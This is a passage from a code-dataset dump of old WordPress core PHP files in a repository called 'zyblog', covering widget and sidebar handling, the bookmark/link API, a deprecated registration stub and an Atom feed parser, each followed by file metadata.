array_slice(func_get_args(), 4) ); $widget = array_merge($widget, $options); $wp_registered_widget_controls[$id] = $widget; if ( isset($wp_registered_widget_updates[$id_base]) ) return; if ( isset($widget['params'][0]['number']) ) $widget['params'][0]['number'] = -1; unset($widget['width'], $widget['height'], $widget['name'], $widget['id']); $wp_registered_widget_updates[$id_base] = $widget; } function _register_widget_update_callback($id_base, $update_callback, $options = array()) { global $wp_registered_widget_updates; if ( isset($wp_registered_widget_updates[$id_base]) ) { if ( empty($update_callback) ) unset($wp_registered_widget_updates[$id_base]); return; } $widget = array( 'callback' => $update_callback, 'params' => array_slice(func_get_args(), 3) ); $widget = array_merge($widget, $options); $wp_registered_widget_updates[$id_base] = $widget; } function _register_widget_form_callback($id, $name, $form_callback, $options = array()) { global $wp_registered_widget_controls; $id = strtolower($id); if ( empty($form_callback) ) { unset($wp_registered_widget_controls[$id]); return; } if ( isset($wp_registered_widget_controls[$id]) && !did_action( 'widgets_init' ) ) return; $defaults = array('width' => 250, 'height' => 200 ); $options = wp_parse_args($options, $defaults); $options['width'] = (int) $options['width']; $options['height'] = (int) $options['height']; $widget = array( 'name' => $name, 'id' => $id, 'callback' => $form_callback, 'params' => array_slice(func_get_args(), 4) ); $widget = array_merge($widget, $options); $wp_registered_widget_controls[$id] = $widget; } /** * Remove control callback for widget. * * @since 2.2.0 * @uses wp_register_widget_control() Unregisters by using empty callback. * * @param int|string $id Widget ID. */ function wp_unregister_widget_control($id) { return wp_register_widget_control($id, '', ''); } /** * Display dynamic sidebar. * * By default it displays the default sidebar or 'sidebar-1'. The 'sidebar-1' is * not named by the theme, the actual name is '1', but 'sidebar-' is added to * the registered sidebars for the name. If you named your sidebar 'after-post', * then the parameter $index will still be 'after-post', but the lookup will be * for 'sidebar-after-post'. * * It is confusing for the $index parameter, but just know that it should just * work. When you register the sidebar in the theme, you will use the same name * for this function or "Pay no heed to the man behind the curtain." Just accept * it as an oddity of WordPress sidebar register and display. * * @since 2.2.0 * * @param int|string $index Optional, default is 1. Name or ID of dynamic sidebar. * @return bool True, if widget sidebar was found and called. False if not found or not called. */ function dynamic_sidebar($index = 1) { global $wp_registered_sidebars, $wp_registered_widgets; if ( is_int($index) ) { $index = "sidebar-$index"; } else { $index = sanitize_title($index); foreach ( (array) $wp_registered_sidebars as $key => $value ) { if ( sanitize_title($value['name']) == $index ) { $index = $key; break; } } } $sidebars_widgets = wp_get_sidebars_widgets(); if ( empty( $sidebars_widgets ) ) return false; if ( empty($wp_registered_sidebars[$index]) || !array_key_exists($index, $sidebars_widgets) || !is_array($sidebars_widgets[$index]) || empty($sidebars_widgets[$index]) ) return false; $sidebar = $wp_registered_sidebars[$index]; $did_one = false; foreach ( (array) $sidebars_widgets[$index] as $id ) { if ( !isset($wp_registered_widgets[$id]) ) continue; $params = array_merge( array( array_merge( $sidebar, array('widget_id' => $id, 'widget_name' => $wp_registered_widgets[$id]['name']) ) ), (array) $wp_registered_widgets[$id]['params'] ); // Substitute HTML id and class attributes into before_widget $classname_ = ''; foreach ( (array) $wp_registered_widgets[$id]['classname'] as $cn ) { if ( is_string($cn) ) $classname_ .= '_' . $cn; elseif ( is_object($cn) ) $classname_ .= '_' . get_class($cn); } $classname_ = ltrim($classname_, '_'); $params[0]['before_widget'] = sprintf($params[0]['before_widget'], $id, $classname_); $params = apply_filters( 'dynamic_sidebar_params', $params ); $callback = $wp_registered_widgets[$id]['callback']; do_action( 'dynamic_sidebar', $wp_registered_widgets[$id] ); if ( is_callable($callback) ) { call_user_func_array($callback, $params); $did_one = true; } } return $did_one; } /** * Whether widget is displayed on the front-end. * * Either $callback or $id_base can be used * $id_base is the first argument when extending WP_Widget class * Without the optional $widget_id parameter, returns the ID of the first sidebar * in which the first instance of the widget with the given callback or $id_base is found. * With the $widget_id parameter, returns the ID of the sidebar where * the widget with that callback/$id_base AND that ID is found. * * NOTE: $widget_id and $id_base are the same for single widgets. To be effective * this function has to run after widgets have initialized, at action 'init' or later. * * @since 2.2.0 * * @param string $callback Optional, Widget callback to check. * @param int $widget_id Optional, but needed for checking. Widget ID. * @param string $id_base Optional, the base ID of a widget created by extending WP_Widget. * @param bool $skip_inactive Optional, whether to check in 'wp_inactive_widgets'. * @return mixed false if widget is not active or id of sidebar in which the widget is active. */ function is_active_widget($callback = false, $widget_id = false, $id_base = false, $skip_inactive = true) { global $wp_registered_widgets; $sidebars_widgets = wp_get_sidebars_widgets(); if ( is_array($sidebars_widgets) ) { foreach ( $sidebars_widgets as $sidebar => $widgets ) { if ( $skip_inactive && 'wp_inactive_widgets' == $sidebar ) continue; if ( is_array($widgets) ) { foreach ( $widgets as $widget ) { if ( ( $callback && isset($wp_registered_widgets[$widget]['callback']) && $wp_registered_widgets[$widget]['callback'] == $callback ) || ( $id_base && _get_widget_id_base($widget) == $id_base ) ) { if ( !$widget_id || $widget_id == $wp_registered_widgets[$widget]['id'] ) return $sidebar; } } } } } return false; } /** * Whether the dynamic sidebar is enabled and used by theme. * * @since 2.2.0 * * @return bool True, if using widgets. False, if not using widgets. */ function is_dynamic_sidebar() { global $wp_registered_widgets, $wp_registered_sidebars; $sidebars_widgets = get_option('sidebars_widgets'); foreach ( (array) $wp_registered_sidebars as $index => $sidebar ) { if ( count($sidebars_widgets[$index]) ) { foreach ( (array) $sidebars_widgets[$index] as $widget ) if ( array_key_exists($widget, $wp_registered_widgets) ) return true; } } return false; } /** * Whether a sidebar is in use. * * @since 2.8 * * @param mixed $index Sidebar name, id or number to check. * @return bool true if the sidebar is in use, false otherwise. */ function is_active_sidebar( $index ) { $index = ( is_int($index) ) ? "sidebar-$index" : sanitize_title($index); $sidebars_widgets = wp_get_sidebars_widgets(); if ( !empty($sidebars_widgets[$index]) ) return true; return false; } /* Internal Functions */ /** * Retrieve full list of sidebars and their widgets. * * Will upgrade sidebar widget list, if needed. Will also save updated list, if * needed. * * @since 2.2.0 * @access private * * @param bool $deprecated Not used (deprecated). * @return array Upgraded list of widgets to version 3 array format when called from the admin. */ function wp_get_sidebars_widgets($deprecated = true) { if ( $deprecated !== true ) _deprecated_argument( __FUNCTION__, '2.8.1' ); global $wp_registered_widgets, $_wp_sidebars_widgets, $sidebars_widgets; // If loading from front page, consult $_wp_sidebars_widgets rather than options // to see if wp_convert_widget_settings() has made manipulations in memory. if ( !is_admin() ) { if ( empty($_wp_sidebars_widgets) ) $_wp_sidebars_widgets = get_option('sidebars_widgets', array()); $sidebars_widgets = $_wp_sidebars_widgets; } else { $sidebars_widgets = get_option('sidebars_widgets', array()); } if ( is_array( $sidebars_widgets ) && isset($sidebars_widgets['array_version']) ) unset($sidebars_widgets['array_version']); $sidebars_widgets = apply_filters('sidebars_widgets', $sidebars_widgets); return $sidebars_widgets; } /** * Set the sidebar widget option to update sidebars. * * @since 2.2.0 * @access private * * @param array $sidebars_widgets Sidebar widgets and their settings. */ function wp_set_sidebars_widgets( $sidebars_widgets ) { if ( !isset( $sidebars_widgets['array_version'] ) ) $sidebars_widgets['array_version'] = 3; update_option( 'sidebars_widgets', $sidebars_widgets ); } /** * Retrieve default registered sidebars list. * * @since 2.2.0 * @access private * * @return array */ function wp_get_widget_defaults() { global $wp_registered_sidebars; $defaults = array(); foreach ( (array) $wp_registered_sidebars as $index => $sidebar ) $defaults[$index] = array(); return $defaults; } /** * Convert the widget settings from single to multi-widget format. * * @since 2.8.0 * * @return array */ function wp_convert_widget_settings($base_name, $option_name, $settings) { // This test may need expanding. $single = $changed = false; if ( empty($settings) ) { $single = true; } else { foreach ( array_keys($settings) as $number ) { if ( 'number' == $number ) continue; if ( !is_numeric($number) ) { $single = true; break; } } } if ( $single ) { $settings = array( 2 => $settings ); // If loading from the front page, update sidebar in memory but don't save to options if ( is_admin() ) { $sidebars_widgets = get_option('sidebars_widgets'); } else { if ( empty($GLOBALS['_wp_sidebars_widgets']) ) $GLOBALS['_wp_sidebars_widgets'] = get_option('sidebars_widgets', array()); $sidebars_widgets = &$GLOBALS['_wp_sidebars_widgets']; } foreach ( (array) $sidebars_widgets as $index => $sidebar ) { if ( is_array($sidebar) ) { foreach ( $sidebar as $i => $name ) { if ( $base_name == $name ) { $sidebars_widgets[$index][$i] = "$name-2"; $changed = true; break 2; } } } } if ( is_admin() && $changed ) update_option('sidebars_widgets', $sidebars_widgets); } $settings['_multiwidget'] = 1; if ( is_admin() ) update_option( $option_name, $settings ); return $settings; } /** * Output an arbitrary widget as a template tag * * @since 2.8 * * @param string $widget the widget's PHP class name (see default-widgets.php) * @param array $instance the widget's instance settings * @param array $args the widget's sidebar args * @return void **/ function the_widget($widget, $instance = array(), $args = array()) { global $wp_widget_factory; $widget_obj = $wp_widget_factory->widgets[$widget]; if ( !is_a($widget_obj, 'WP_Widget') ) return; $before_widget = sprintf('<div class="widget %s">', $widget_obj->widget_options['classname'] ); $default_args = array( 'before_widget' => $before_widget, 'after_widget' => "</div>", 'before_title' => '<h2 class="widgettitle">', 'after_title' => '</h2>' ); $args = wp_parse_args($args, $default_args); $instance = wp_parse_args($instance); do_action( 'the_widget', $widget, $instance, $args ); $widget_obj->_set(-1); $widget_obj->widget($args, $instance); } /** * Private */ function _get_widget_id_base($id) { return preg_replace( '/-[0-9]+$/', '', $id ); } /** * Handle sidebars config after theme change * * @access private * @since 3.3.0 */ function _wp_sidebars_changed() { global $sidebars_widgets; if ( ! is_array( $sidebars_widgets ) ) $sidebars_widgets = wp_get_sidebars_widgets(); retrieve_widgets(true); } // look for "lost" widgets, this has to run at least on each theme change function retrieve_widgets($theme_changed = false) { global $wp_registered_widget_updates, $wp_registered_sidebars, $sidebars_widgets, $wp_registered_widgets; $registered_sidebar_keys = array_keys( $wp_registered_sidebars ); $orphaned = 0; $old_sidebars_widgets = get_theme_mod( 'sidebars_widgets' ); if ( is_array( $old_sidebars_widgets ) ) { // time() that sidebars were stored is in $old_sidebars_widgets['time'] $_sidebars_widgets = $old_sidebars_widgets['data']; remove_theme_mod( 'sidebars_widgets' ); foreach ( $_sidebars_widgets as $sidebar => $widgets ) { if ( 'wp_inactive_widgets' == $sidebar || 'orphaned_widgets' == substr( $sidebar, 0, 16 ) ) continue; if ( !in_array( $sidebar, $registered_sidebar_keys ) ) { $_sidebars_widgets['orphaned_widgets_' . ++$orphaned] = $widgets; unset( $_sidebars_widgets[$sidebar] ); } } } else { if ( empty( $sidebars_widgets ) ) return; unset( $sidebars_widgets['array_version'] ); $old = array_keys($sidebars_widgets); sort($old); sort($registered_sidebar_keys); if ( $old == $registered_sidebar_keys ) return; $_sidebars_widgets = array( 'wp_inactive_widgets' => !empty( $sidebars_widgets['wp_inactive_widgets'] ) ? $sidebars_widgets['wp_inactive_widgets'] : array() ); unset( $sidebars_widgets['wp_inactive_widgets'] ); foreach ( $wp_registered_sidebars as $id => $settings ) { if ( $theme_changed ) { $_sidebars_widgets[$id] = array_shift( $sidebars_widgets ); } else { // no theme change, grab only sidebars that are currently registered if ( isset( $sidebars_widgets[$id] ) ) { $_sidebars_widgets[$id] = $sidebars_widgets[$id]; unset( $sidebars_widgets[$id] ); } } } foreach ( $sidebars_widgets as $val ) { if ( is_array($val) && ! empty( $val ) ) $_sidebars_widgets['orphaned_widgets_' . ++$orphaned] = $val; } } // discard invalid, theme-specific widgets from sidebars $shown_widgets = array(); foreach ( $_sidebars_widgets as $sidebar => $widgets ) { if ( !is_array($widgets) ) continue; $_widgets = array(); foreach ( $widgets as $widget ) { if ( isset($wp_registered_widgets[$widget]) ) $_widgets[] = $widget; } $_sidebars_widgets[$sidebar] = $_widgets; $shown_widgets = array_merge($shown_widgets, $_widgets); } $sidebars_widgets = $_sidebars_widgets; unset($_sidebars_widgets, $_widgets); // find hidden/lost multi-widget instances $lost_widgets = array(); foreach ( $wp_registered_widgets as $key => $val ) { if ( in_array($key, $shown_widgets, true) ) continue; $number = preg_replace('/.+?-([0-9]+)$/', '$1', $key); if ( 2 > (int) $number ) continue; $lost_widgets[] = $key; } $sidebars_widgets['wp_inactive_widgets'] = array_merge($lost_widgets, (array) $sidebars_widgets['wp_inactive_widgets']); wp_set_sidebars_widgets($sidebars_widgets); return $sidebars_widgets; }
zyblog
trunk/zyblog/wp-includes/widgets.php
PHP
asf20
38,849
<?php /** * Link/Bookmark API * * @package WordPress * @subpackage Bookmark */ /** * Retrieve Bookmark data * * @since 2.1.0 * @uses $wpdb Database Object * * @param mixed $bookmark * @param string $output Optional. Either OBJECT, ARRAY_N, or ARRAY_A constant * @param string $filter Optional, default is 'raw'. * @return array|object Type returned depends on $output value. */ function get_bookmark($bookmark, $output = OBJECT, $filter = 'raw') { global $wpdb; if ( empty($bookmark) ) { if ( isset($GLOBALS['link']) ) $_bookmark = & $GLOBALS['link']; else $_bookmark = null; } elseif ( is_object($bookmark) ) { wp_cache_add($bookmark->link_id, $bookmark, 'bookmark'); $_bookmark = $bookmark; } else { if ( isset($GLOBALS['link']) && ($GLOBALS['link']->link_id == $bookmark) ) { $_bookmark = & $GLOBALS['link']; } elseif ( ! $_bookmark = wp_cache_get($bookmark, 'bookmark') ) { $_bookmark = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->links WHERE link_id = %d LIMIT 1", $bookmark)); if ( $_bookmark ) { $_bookmark->link_category = array_unique( wp_get_object_terms( $_bookmark->link_id, 'link_category', array( 'fields' => 'ids' ) ) ); wp_cache_add( $_bookmark->link_id, $_bookmark, 'bookmark' ); } } } if ( ! $_bookmark ) return $_bookmark; $_bookmark = sanitize_bookmark($_bookmark, $filter); if ( $output == OBJECT ) { return $_bookmark; } elseif ( $output == ARRAY_A ) { return get_object_vars($_bookmark); } elseif ( $output == ARRAY_N ) { return array_values(get_object_vars($_bookmark)); } else { return $_bookmark; } } /** * Retrieve single bookmark data item or field. * * @since 2.3.0 * @uses get_bookmark() Gets bookmark object using $bookmark as ID * @uses sanitize_bookmark_field() Sanitizes Bookmark field based on $context. * * @param string $field The name of the data field to return * @param int $bookmark The bookmark ID to get field * @param string $context Optional. The context of how the field will be used. * @return string */ function get_bookmark_field( $field, $bookmark, $context = 'display' ) { $bookmark = (int) $bookmark; $bookmark = get_bookmark( $bookmark ); if ( is_wp_error($bookmark) ) return $bookmark; if ( !is_object($bookmark) ) return ''; if ( !isset($bookmark->$field) ) return ''; return sanitize_bookmark_field($field, $bookmark->$field, $bookmark->link_id, $context); } /** * Retrieves the list of bookmarks * * Attempts to retrieve from the cache first based on MD5 hash of arguments. If * that fails, then the query will be built from the arguments and executed. The * results will be stored to the cache. * * List of default arguments are as follows: * 'orderby' - Default is 'name' (string). How to order the links by. String is * based off of the bookmark scheme. * 'order' - Default is 'ASC' (string). Either 'ASC' or 'DESC'. Orders in either * ascending or descending order. * 'limit' - Default is -1 (integer) or show all. The amount of bookmarks to * display. * 'category' - Default is empty string (string). Include the links in what * category ID(s). * 'category_name' - Default is empty string (string). Get links by category * name. * 'hide_invisible' - Default is 1 (integer). Whether to show (default) or hide * links marked as 'invisible'. * 'show_updated' - Default is 0 (integer). Will show the time of when the * bookmark was last updated. * 'include' - Default is empty string (string). Include bookmark ID(s) * separated by commas. * 'exclude' - Default is empty string (string). Exclude bookmark ID(s) * separated by commas. * * @since 2.1.0 * @uses $wpdb Database Object * @link http://codex.wordpress.org/Template_Tags/get_bookmarks * * @param string|array $args List of arguments to overwrite the defaults * @return array List of bookmark row objects */ function get_bookmarks($args = '') { global $wpdb; $defaults = array( 'orderby' => 'name', 'order' => 'ASC', 'limit' => -1, 'category' => '', 'category_name' => '', 'hide_invisible' => 1, 'show_updated' => 0, 'include' => '', 'exclude' => '', 'search' => '' ); $r = wp_parse_args( $args, $defaults ); extract( $r, EXTR_SKIP ); $cache = array(); $key = md5( serialize( $r ) ); if ( $cache = wp_cache_get( 'get_bookmarks', 'bookmark' ) ) { if ( is_array($cache) && isset( $cache[ $key ] ) ) return apply_filters('get_bookmarks', $cache[ $key ], $r ); } if ( !is_array($cache) ) $cache = array(); $inclusions = ''; if ( !empty($include) ) { $exclude = ''; //ignore exclude, category, and category_name params if using include $category = ''; $category_name = ''; $inclinks = preg_split('/[\s,]+/',$include); if ( count($inclinks) ) { foreach ( $inclinks as $inclink ) { if (empty($inclusions)) $inclusions = ' AND ( link_id = ' . intval($inclink) . ' '; else $inclusions .= ' OR link_id = ' . intval($inclink) . ' '; } } } if (!empty($inclusions)) $inclusions .= ')'; $exclusions = ''; if ( !empty($exclude) ) { $exlinks = preg_split('/[\s,]+/',$exclude); if ( count($exlinks) ) { foreach ( $exlinks as $exlink ) { if (empty($exclusions)) $exclusions = ' AND ( link_id <> ' . intval($exlink) . ' '; else $exclusions .= ' AND link_id <> ' . intval($exlink) . ' '; } } } if (!empty($exclusions)) $exclusions .= ')'; if ( !empty($category_name) ) { if ( $category = get_term_by('name', $category_name, 'link_category') ) { $category = $category->term_id; } else { $cache[ $key ] = array(); wp_cache_set( 'get_bookmarks', $cache, 'bookmark' ); return apply_filters( 'get_bookmarks', array(), $r ); } } if ( ! empty($search) ) { $search = like_escape($search); $search = " AND ( (link_url LIKE '%$search%') OR (link_name LIKE '%$search%') OR (link_description LIKE '%$search%') ) "; } $category_query = ''; $join = ''; if ( !empty($category) ) { $incategories = preg_split('/[\s,]+/',$category); if ( count($incategories) ) { foreach ( $incategories as $incat ) { if (empty($category_query)) $category_query = ' AND ( tt.term_id = ' . intval($incat) . ' '; else $category_query .= ' OR tt.term_id = ' . intval($incat) . ' '; } } } if (!empty($category_query)) { $category_query .= ") AND taxonomy = 'link_category'"; $join = " INNER JOIN $wpdb->term_relationships AS tr ON ($wpdb->links.link_id = tr.object_id) INNER JOIN $wpdb->term_taxonomy as tt ON tt.term_taxonomy_id = tr.term_taxonomy_id"; } if ( $show_updated && get_option('links_recently_updated_time') ) { $recently_updated_test = ", IF (DATE_ADD(link_updated, INTERVAL " . get_option('links_recently_updated_time') . " MINUTE) >= NOW(), 1,0) as recently_updated "; } else { $recently_updated_test = ''; } $get_updated = ( $show_updated ) ? ', UNIX_TIMESTAMP(link_updated) AS link_updated_f ' : ''; $orderby = strtolower($orderby); $length = ''; switch ( $orderby ) { case 'length': $length = ", CHAR_LENGTH(link_name) AS length"; break; case 'rand': $orderby = 'rand()'; break; case 'link_id': $orderby = "$wpdb->links.link_id"; break; default: $orderparams = array(); foreach ( explode(',', $orderby) as $ordparam ) { $ordparam = trim($ordparam); $keys = array( 'link_id', 'link_name', 'link_url', 'link_visible', 'link_rating', 'link_owner', 'link_updated', 'link_notes' ); if ( in_array( 'link_' . $ordparam, $keys ) ) $orderparams[] = 'link_' . $ordparam; elseif ( in_array( $ordparam, $keys ) ) $orderparams[] = $ordparam; } $orderby = implode(',', $orderparams); } if ( empty( $orderby ) ) $orderby = 'link_name'; $order = strtoupper( $order ); if ( '' !== $order && !in_array( $order, array( 'ASC', 'DESC' ) ) ) $order = 'ASC'; $visible = ''; if ( $hide_invisible ) $visible = "AND link_visible = 'Y'"; $query = "SELECT * $length $recently_updated_test $get_updated FROM $wpdb->links $join WHERE 1=1 $visible $category_query"; $query .= " $exclusions $inclusions $search"; $query .= " ORDER BY $orderby $order"; if ($limit != -1) $query .= " LIMIT $limit"; $results = $wpdb->get_results($query); $cache[ $key ] = $results; wp_cache_set( 'get_bookmarks', $cache, 'bookmark' ); return apply_filters('get_bookmarks', $results, $r); } /** * Sanitizes all bookmark fields * * @since 2.3.0 * * @param object|array $bookmark Bookmark row * @param string $context Optional, default is 'display'. How to filter the * fields * @return object|array Same type as $bookmark but with fields sanitized. */ function sanitize_bookmark($bookmark, $context = 'display') { $fields = array('link_id', 'link_url', 'link_name', 'link_image', 'link_target', 'link_category', 'link_description', 'link_visible', 'link_owner', 'link_rating', 'link_updated', 'link_rel', 'link_notes', 'link_rss', ); if ( is_object($bookmark) ) { $do_object = true; $link_id = $bookmark->link_id; } else { $do_object = false; $link_id = $bookmark['link_id']; } foreach ( $fields as $field ) { if ( $do_object ) { if ( isset($bookmark->$field) ) $bookmark->$field = sanitize_bookmark_field($field, $bookmark->$field, $link_id, $context); } else { if ( isset($bookmark[$field]) ) $bookmark[$field] = sanitize_bookmark_field($field, $bookmark[$field], $link_id, $context); } } return $bookmark; } /** * Sanitizes a bookmark field * * Sanitizes the bookmark fields based on what the field name is. If the field * has a strict value set, then it will be tested for that, else a more generic * filtering is applied. After the more strict filter is applied, if the * $context is 'raw' then the value is immediately return. * * Hooks exist for the more generic cases. With the 'edit' context, the * 'edit_$field' filter will be called and passed the $value and $bookmark_id * respectively. With the 'db' context, the 'pre_$field' filter is called and * passed the value. The 'display' context is the final context and has the * $field has the filter name and is passed the $value, $bookmark_id, and * $context respectively. * * @since 2.3.0 * * @param string $field The bookmark field * @param mixed $value The bookmark field value * @param int $bookmark_id Bookmark ID * @param string $context How to filter the field value. Either 'raw', 'edit', * 'attribute', 'js', 'db', or 'display' * @return mixed The filtered value */ function sanitize_bookmark_field($field, $value, $bookmark_id, $context) { switch ( $field ) { case 'link_id' : // ints case 'link_rating' : $value = (int) $value; break; case 'link_category' : // array( ints ) $value = array_map('absint', (array) $value); // We return here so that the categories aren't filtered. // The 'link_category' filter is for the name of a link category, not an array of a link's link categories return $value; break; case 'link_visible' : // bool stored as Y|N $value = preg_replace('/[^YNyn]/', '', $value); break; case 'link_target' : // "enum" $targets = array('_top', '_blank'); if ( ! in_array($value, $targets) ) $value = ''; break; } if ( 'raw' == $context ) return $value; if ( 'edit' == $context ) { $value = apply_filters("edit_$field", $value, $bookmark_id); if ( 'link_notes' == $field ) { $value = esc_html( $value ); // textarea_escaped } else { $value = esc_attr($value); } } else if ( 'db' == $context ) { $value = apply_filters("pre_$field", $value); } else { // Use display filters by default. $value = apply_filters($field, $value, $bookmark_id, $context); if ( 'attribute' == $context ) $value = esc_attr($value); else if ( 'js' == $context ) $value = esc_js($value); } return $value; } /** * Deletes bookmark cache * * @since 2.7.0 * @uses wp_cache_delete() Deletes the contents of 'get_bookmarks' */ function clean_bookmark_cache( $bookmark_id ) { wp_cache_delete( $bookmark_id, 'bookmark' ); wp_cache_delete( 'get_bookmarks', 'bookmark' ); clean_object_term_cache( $bookmark_id, 'link'); }
zyblog
trunk/zyblog/wp-includes/bookmark.php
PHP
asf20
12,111
<?php /** * Deprecated. No longer needed. * * @package WordPress */ _deprecated_file( basename(__FILE__), '3.1', null, __( 'This file no longer needs to be included.' ) );
zyblog
trunk/zyblog/wp-includes/registration.php
PHP
asf20
176
<?php /** * Atom Syndication Format PHP Library * * @package AtomLib * @link http://code.google.com/p/phpatomlib/ * * @author Elias Torres <elias@torrez.us> * @version 0.4 * @since 2.3 */ /** * Structure that store common Atom Feed Properties * * @package AtomLib */ class AtomFeed { /** * Stores Links * @var array * @access public */ var $links = array(); /** * Stores Categories * @var array * @access public */ var $categories = array(); /** * Stores Entries * * @var array * @access public */ var $entries = array(); } /** * Structure that store Atom Entry Properties * * @package AtomLib */ class AtomEntry { /** * Stores Links * @var array * @access public */ var $links = array(); /** * Stores Categories * @var array * @access public */ var $categories = array(); } /** * AtomLib Atom Parser API * * @package AtomLib */ class AtomParser { var $NS = 'http://www.w3.org/2005/Atom'; var $ATOM_CONTENT_ELEMENTS = array('content','summary','title','subtitle','rights'); var $ATOM_SIMPLE_ELEMENTS = array('id','updated','published','draft'); var $debug = false; var $depth = 0; var $indent = 2; var $in_content; var $ns_contexts = array(); var $ns_decls = array(); var $content_ns_decls = array(); var $content_ns_contexts = array(); var $is_xhtml = false; var $is_html = false; var $is_text = true; var $skipped_div = false; var $FILE = "php://input"; var $feed; var $current; function AtomParser() { $this->feed = new AtomFeed(); $this->current = null; $this->map_attrs_func = create_function('$k,$v', 'return "$k=\"$v\"";'); $this->map_xmlns_func = create_function('$p,$n', '$xd = "xmlns"; if(strlen($n[0])>0) $xd .= ":{$n[0]}"; return "{$xd}=\"{$n[1]}\"";'); } function _p($msg) { if($this->debug) { print str_repeat(" ", $this->depth * $this->indent) . $msg ."\n"; } } function error_handler($log_level, $log_text, $error_file, $error_line) { $this->error = $log_text; } function parse() { set_error_handler(array(&$this, 'error_handler')); array_unshift($this->ns_contexts, array()); $parser = xml_parser_create_ns(); xml_set_object($parser, $this); xml_set_element_handler($parser, "start_element", "end_element"); xml_parser_set_option($parser,XML_OPTION_CASE_FOLDING,0); xml_parser_set_option($parser,XML_OPTION_SKIP_WHITE,0); xml_set_character_data_handler($parser, "cdata"); xml_set_default_handler($parser, "_default"); xml_set_start_namespace_decl_handler($parser, "start_ns"); xml_set_end_namespace_decl_handler($parser, "end_ns"); $this->content = ''; $ret = true; $fp = fopen($this->FILE, "r"); while ($data = fread($fp, 4096)) { if($this->debug) $this->content .= $data; if(!xml_parse($parser, $data, feof($fp))) { trigger_error(sprintf(__('XML error: %s at line %d')."\n", xml_error_string(xml_get_error_code($xml_parser)), xml_get_current_line_number($xml_parser))); $ret = false; break; } } fclose($fp); xml_parser_free($parser); restore_error_handler(); return $ret; } function start_element($parser, $name, $attrs) { $tag = array_pop(split(":", $name)); switch($name) { case $this->NS . ':feed': $this->current = $this->feed; break; case $this->NS . ':entry': $this->current = new AtomEntry(); break; }; $this->_p("start_element('$name')"); #$this->_p(print_r($this->ns_contexts,true)); #$this->_p('current(' . $this->current . ')'); array_unshift($this->ns_contexts, $this->ns_decls); $this->depth++; if(!empty($this->in_content)) { $this->content_ns_decls = array(); if($this->is_html || $this->is_text) trigger_error("Invalid content in element found. Content must not be of type text or html if it contains markup."); $attrs_prefix = array(); // resolve prefixes for attributes foreach($attrs as $key => $value) { $with_prefix = $this->ns_to_prefix($key, true); $attrs_prefix[$with_prefix[1]] = $this->xml_escape($value); } $attrs_str = join(' ', array_map($this->map_attrs_func, array_keys($attrs_prefix), array_values($attrs_prefix))); if(strlen($attrs_str) > 0) { $attrs_str = " " . $attrs_str; } $with_prefix = $this->ns_to_prefix($name); if(!$this->is_declared_content_ns($with_prefix[0])) { array_push($this->content_ns_decls, $with_prefix[0]); } $xmlns_str = ''; if(count($this->content_ns_decls) > 0) { array_unshift($this->content_ns_contexts, $this->content_ns_decls); $xmlns_str .= join(' ', array_map($this->map_xmlns_func, array_keys($this->content_ns_contexts[0]), array_values($this->content_ns_contexts[0]))); if(strlen($xmlns_str) > 0) { $xmlns_str = " " . $xmlns_str; } } array_push($this->in_content, array($tag, $this->depth, "<". $with_prefix[1] ."{$xmlns_str}{$attrs_str}" . ">")); } else if(in_array($tag, $this->ATOM_CONTENT_ELEMENTS) || in_array($tag, $this->ATOM_SIMPLE_ELEMENTS)) { $this->in_content = array(); $this->is_xhtml = $attrs['type'] == 'xhtml'; $this->is_html = $attrs['type'] == 'html' || $attrs['type'] == 'text/html'; $this->is_text = !in_array('type',array_keys($attrs)) || $attrs['type'] == 'text'; $type = $this->is_xhtml ? 'XHTML' : ($this->is_html ? 'HTML' : ($this->is_text ? 'TEXT' : $attrs['type'])); if(in_array('src',array_keys($attrs))) { $this->current->$tag = $attrs; } else { array_push($this->in_content, array($tag,$this->depth, $type)); } } else if($tag == 'link') { array_push($this->current->links, $attrs); } else if($tag == 'category') { array_push($this->current->categories, $attrs); } $this->ns_decls = array(); } function end_element($parser, $name) { $tag = array_pop(split(":", $name)); $ccount = count($this->in_content); # if we are *in* content, then let's proceed to serialize it if(!empty($this->in_content)) { # if we are ending the original content element # then let's finalize the content if($this->in_content[0][0] == $tag && $this->in_content[0][1] == $this->depth) { $origtype = $this->in_content[0][2]; array_shift($this->in_content); $newcontent = array(); foreach($this->in_content as $c) { if(count($c) == 3) { array_push($newcontent, $c[2]); } else { if($this->is_xhtml || $this->is_text) { array_push($newcontent, $this->xml_escape($c)); } else { array_push($newcontent, $c); } } } if(in_array($tag, $this->ATOM_CONTENT_ELEMENTS)) { $this->current->$tag = array($origtype, join('',$newcontent)); } else { $this->current->$tag = join('',$newcontent); } $this->in_content = array(); } else if($this->in_content[$ccount-1][0] == $tag && $this->in_content[$ccount-1][1] == $this->depth) { $this->in_content[$ccount-1][2] = substr($this->in_content[$ccount-1][2],0,-1) . "/>"; } else { # else, just finalize the current element's content $endtag = $this->ns_to_prefix($name); array_push($this->in_content, array($tag, $this->depth, "</$endtag[1]>")); } } array_shift($this->ns_contexts); $this->depth--; if($name == ($this->NS . ':entry')) { array_push($this->feed->entries, $this->current); $this->current = null; } $this->_p("end_element('$name')"); } function start_ns($parser, $prefix, $uri) { $this->_p("starting: " . $prefix . ":" . $uri); array_push($this->ns_decls, array($prefix,$uri)); } function end_ns($parser, $prefix) { $this->_p("ending: #" . $prefix . "#"); } function cdata($parser, $data) { $this->_p("data: #" . str_replace(array("\n"), array("\\n"), trim($data)) . "#"); if(!empty($this->in_content)) { array_push($this->in_content, $data); } } function _default($parser, $data) { # when does this gets called? } function ns_to_prefix($qname, $attr=false) { # split 'http://www.w3.org/1999/xhtml:div' into ('http','//www.w3.org/1999/xhtml','div') $components = split(":", $qname); # grab the last one (e.g 'div') $name = array_pop($components); if(!empty($components)) { # re-join back the namespace component $ns = join(":",$components); foreach($this->ns_contexts as $context) { foreach($context as $mapping) { if($mapping[1] == $ns && strlen($mapping[0]) > 0) { return array($mapping, "$mapping[0]:$name"); } } } } if($attr) { return array(null, $name); } else { foreach($this->ns_contexts as $context) { foreach($context as $mapping) { if(strlen($mapping[0]) == 0) { return array($mapping, $name); } } } } } function is_declared_content_ns($new_mapping) { foreach($this->content_ns_contexts as $context) { foreach($context as $mapping) { if($new_mapping == $mapping) { return true; } } } return false; } function xml_escape($string) { return str_replace(array('&','"',"'",'<','>'), array('&amp;','&quot;','&apos;','&lt;','&gt;'), $string ); } }
zyblog
trunk/zyblog/wp-includes/atomlib.php
PHP
asf20
10,924
